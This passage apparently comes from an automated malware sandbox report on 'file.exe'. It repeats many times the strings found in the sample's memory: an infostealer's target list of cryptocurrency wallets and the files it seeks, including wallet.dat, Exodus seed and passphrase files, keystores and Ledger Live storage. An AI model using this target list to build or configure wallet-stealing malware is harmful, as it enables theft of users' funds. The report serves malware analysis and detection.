Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667851166.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667851166.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667851166.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667851166.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667851166.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667851166.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667851166.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667851166.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667851166.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667851166.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667851166.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo 